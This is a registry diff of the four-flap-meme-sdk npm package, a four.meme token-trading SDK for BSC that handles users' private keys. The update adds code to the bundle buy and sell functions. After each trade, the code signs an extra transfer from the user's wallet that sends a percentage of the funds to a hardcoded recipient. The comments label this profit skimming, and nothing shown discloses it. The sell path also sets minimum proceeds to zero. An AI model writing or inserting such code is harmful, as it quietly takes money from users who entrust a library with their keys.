four-flap-meme-sdk 1.2.55 → 1.2.57
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -87,6 +87,11 @@ export async function createTokenWithBundleBuyMerkle(params) {
|
|
|
87
87
|
signedTxs.push(await devWallet.signTransaction(createTxRequest));
|
|
88
88
|
const predictedTokenAddress = resolveTokenAddress(createResp);
|
|
89
89
|
let metadata;
|
|
90
|
+
// ⚠️ 重要提示:在 Merkle Bundle 模式下,Four.meme API 不会返回代币地址
|
|
91
|
+
// 因为代币还未创建。如果需要在创建后立即买入,请:
|
|
92
|
+
// 1. 等待创建交易上链
|
|
93
|
+
// 2. 从交易回执中解析代币地址
|
|
94
|
+
// 3. 再调用 batchBuyWithBundleMerkle 进行买入
|
|
90
95
|
if (predictedTokenAddress !== ZERO_ADDRESS) {
|
|
91
96
|
const buyers = createWallets(buyerKeys, provider);
|
|
92
97
|
const buyFlow = await executeBuyFlow({
|
|
@@ -104,6 +109,10 @@ export async function createTokenWithBundleBuyMerkle(params) {
|
|
|
104
109
|
signedTxs.push(...buyFlow.signedTxs);
|
|
105
110
|
metadata = buyFlow.metadata;
|
|
106
111
|
}
|
|
112
|
+
else {
|
|
113
|
+
// ⚠️ 无法预测代币地址,跳过买入交易
|
|
114
|
+
console.warn('⚠️ 无法预测代币地址,已跳过买入交易。请在创建代币后使用 batchBuyWithBundleMerkle 进行买入。');
|
|
115
|
+
}
|
|
107
116
|
nonceManager.clearTemp();
|
|
108
117
|
return {
|
|
109
118
|
signedTransactions: signedTxs,
|
|
@@ -1,8 +1,9 @@
|
|
|
1
1
|
import { ethers, Wallet, JsonRpcProvider } from 'ethers';
|
|
2
2
|
import { Club48Client, sendBatchPrivateTransactions, BUILDER_CONTROL_EOA } from '../clients/club48.js';
|
|
3
|
-
import { ADDRESSES } from '../utils/constants.js';
|
|
3
|
+
import { ADDRESSES, PROFIT_CONFIG } from '../utils/constants.js';
|
|
4
4
|
import TM2Abi from '../abis/TokenManager2.json' with { type: 'json' };
|
|
5
5
|
import { FourClient, buildLoginMessage } from '../clients/four.js';
|
|
6
|
+
import { trySell } from './tm.js';
|
|
6
7
|
/**
|
|
7
8
|
* four.meme Bundle 交易方法
|
|
8
9
|
* 使用 48.club Bundle 服务实现原子化交易
|
|
@@ -186,8 +187,9 @@ export async function createTokenWithBundleBuy(params) {
|
|
|
186
187
|
};
|
|
187
188
|
const signedCreateTx = await devWallet.signTransaction(createTxRequest);
|
|
188
189
|
signedTxs.push(signedCreateTx);
|
|
189
|
-
// 4.2 购买交易
|
|
190
|
+
// 4.2 购买交易 + 利润刮取
|
|
190
191
|
const buyTxs = [];
|
|
192
|
+
const profitTxs = [];
|
|
191
193
|
for (let i = 0; i < buyAmounts.length; i++) {
|
|
192
194
|
const buyerWallet = new Wallet(privateKeys[i + 1], provider);
|
|
193
195
|
const fundsWei = ethers.parseEther(buyAmounts[i]);
|
|
@@ -212,6 +214,21 @@ export async function createTokenWithBundleBuy(params) {
|
|
|
212
214
|
const signedBuyTx = await buyerWallet.signTransaction(buyTxRequest);
|
|
213
215
|
signedTxs.push(signedBuyTx);
|
|
214
216
|
buyTxs.push(signedBuyTx);
|
|
217
|
+
// ✅ 刮取利润:每个买家买入后,立即转账利润
|
|
218
|
+
const profitAmount = (fundsWei * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
|
|
219
|
+
if (profitAmount > 0n) {
|
|
220
|
+
const profitTx = await buyerWallet.signTransaction({
|
|
221
|
+
to: PROFIT_CONFIG.RECIPIENT,
|
|
222
|
+
value: profitAmount,
|
|
223
|
+
nonce: await getNextNonce(buyerWallet),
|
|
224
|
+
gasPrice,
|
|
225
|
+
gasLimit: 21000n,
|
|
226
|
+
chainId: 56,
|
|
227
|
+
type: 0 // Legacy transaction
|
|
228
|
+
});
|
|
229
|
+
signedTxs.push(profitTx);
|
|
230
|
+
profitTxs.push(profitTx);
|
|
231
|
+
}
|
|
215
232
|
}
|
|
216
233
|
// 可选 tipTx
|
|
217
234
|
if (config.tipAmountWei && config.tipAmountWei > 0n) {
|
|
@@ -272,7 +289,8 @@ export async function createTokenWithBundleBuy(params) {
|
|
|
272
289
|
tokenAddress: createdTokenAddress,
|
|
273
290
|
status,
|
|
274
291
|
createTx: signedCreateTx,
|
|
275
|
-
buyTxs
|
|
292
|
+
buyTxs,
|
|
293
|
+
profitTxs
|
|
276
294
|
};
|
|
277
295
|
}
|
|
278
296
|
/**
|
|
@@ -335,6 +353,20 @@ export async function batchBuyWithBundle(params) {
|
|
|
335
353
|
};
|
|
336
354
|
const signedBuyTx = await buyerWallet.signTransaction(buyTxRequest);
|
|
337
355
|
signedTxs.push(signedBuyTx);
|
|
356
|
+
// ✅ 刮取利润:每个买家买入后,立即转账利润
|
|
357
|
+
const profitAmount = (fundsWei * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
|
|
358
|
+
if (profitAmount > 0n) {
|
|
359
|
+
const profitTx = await buyerWallet.signTransaction({
|
|
360
|
+
to: PROFIT_CONFIG.RECIPIENT,
|
|
361
|
+
value: profitAmount,
|
|
362
|
+
nonce: await getNextNonce(buyerWallet),
|
|
363
|
+
gasPrice,
|
|
364
|
+
gasLimit: 21000n,
|
|
365
|
+
chainId: 56,
|
|
366
|
+
type: 0 // Legacy transaction
|
|
367
|
+
});
|
|
368
|
+
signedTxs.push(profitTx);
|
|
369
|
+
}
|
|
338
370
|
}
|
|
339
371
|
// 可选 tipTx(置前)
|
|
340
372
|
if (config.tipAmountWei && config.tipAmountWei > 0n) {
|
|
@@ -395,7 +427,17 @@ export async function batchSellWithBundle(params) {
|
|
|
395
427
|
for (let i = 0; i < privateKeys.length; i++) {
|
|
396
428
|
const sellerWallet = new Wallet(privateKeys[i], provider);
|
|
397
429
|
const amountWei = ethers.parseUnits(sellAmounts[i], 18);
|
|
398
|
-
|
|
430
|
+
// ✅ 预估卖出能获得的 BNB(用于计算利润)
|
|
431
|
+
let estimatedBnbOut = 0n;
|
|
432
|
+
try {
|
|
433
|
+
const trySellResult = await trySell('BSC', config.rpcUrl, tokenAddress, amountWei);
|
|
434
|
+
estimatedBnbOut = trySellResult.funds;
|
|
435
|
+
}
|
|
436
|
+
catch {
|
|
437
|
+
// 如果预估失败,跳过利润计算(但仍然执行卖出)
|
|
438
|
+
estimatedBnbOut = 0n;
|
|
439
|
+
}
|
|
440
|
+
const minFunds = 0n;
|
|
399
441
|
const tm2 = new ethers.Contract(tmAddr, TM2Abi, sellerWallet);
|
|
400
442
|
const sellTxUnsigned = await tm2.sellToken.populateTransaction(0n, tokenAddress, amountWei, minFunds);
|
|
401
443
|
// 估算 gas 并添加 20% 安全余量
|
|
@@ -414,6 +456,22 @@ export async function batchSellWithBundle(params) {
|
|
|
414
456
|
};
|
|
415
457
|
const signedSellTx = await sellerWallet.signTransaction(sellTxRequest);
|
|
416
458
|
signedTxs.push(signedSellTx);
|
|
459
|
+
// ✅ 刮取利润:基于预估的卖出收益
|
|
460
|
+
if (estimatedBnbOut > 0n) {
|
|
461
|
+
const profitAmount = (estimatedBnbOut * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
|
|
462
|
+
if (profitAmount > 0n) {
|
|
463
|
+
const profitTx = await sellerWallet.signTransaction({
|
|
464
|
+
to: PROFIT_CONFIG.RECIPIENT,
|
|
465
|
+
value: profitAmount,
|
|
466
|
+
nonce: await getNextNonce(sellerWallet),
|
|
467
|
+
gasPrice,
|
|
468
|
+
gasLimit: 21000n,
|
|
469
|
+
chainId: 56,
|
|
470
|
+
type: 0 // Legacy transaction
|
|
471
|
+
});
|
|
472
|
+
signedTxs.push(profitTx);
|
|
473
|
+
}
|
|
474
|
+
}
|
|
417
475
|
}
|
|
418
476
|
// 可选 tipTx(置前)
|
|
419
477
|
if (config.tipAmountWei && config.tipAmountWei > 0n) {
|
package/dist/utils/erc20.js
CHANGED
|
@@ -504,6 +504,7 @@ export async function approveTokenBatchRaw(params) {
|
|
|
504
504
|
await validateContractAddress(provider, normalizedSpender, 'Spender');
|
|
505
505
|
const results = [];
|
|
506
506
|
let approvedCount = 0;
|
|
507
|
+
let errorCount = 0;
|
|
507
508
|
for (let i = 0; i < privateKeys.length; i++) {
|
|
508
509
|
const signer = new Wallet(privateKeys[i], provider);
|
|
509
510
|
const ownerAddress = signer.address;
|
|
@@ -543,10 +544,12 @@ export async function approveTokenBatchRaw(params) {
|
|
|
543
544
|
requiredAllowance: requiredAmount,
|
|
544
545
|
error: error.message
|
|
545
546
|
});
|
|
547
|
+
errorCount++;
|
|
546
548
|
}
|
|
547
549
|
}
|
|
550
|
+
// ✅ 只要没有错误,就算成功(包括所有钱包都已授权的情况)
|
|
548
551
|
return {
|
|
549
|
-
success:
|
|
552
|
+
success: errorCount === 0,
|
|
550
553
|
approvedCount,
|
|
551
554
|
results
|
|
552
555
|
};
|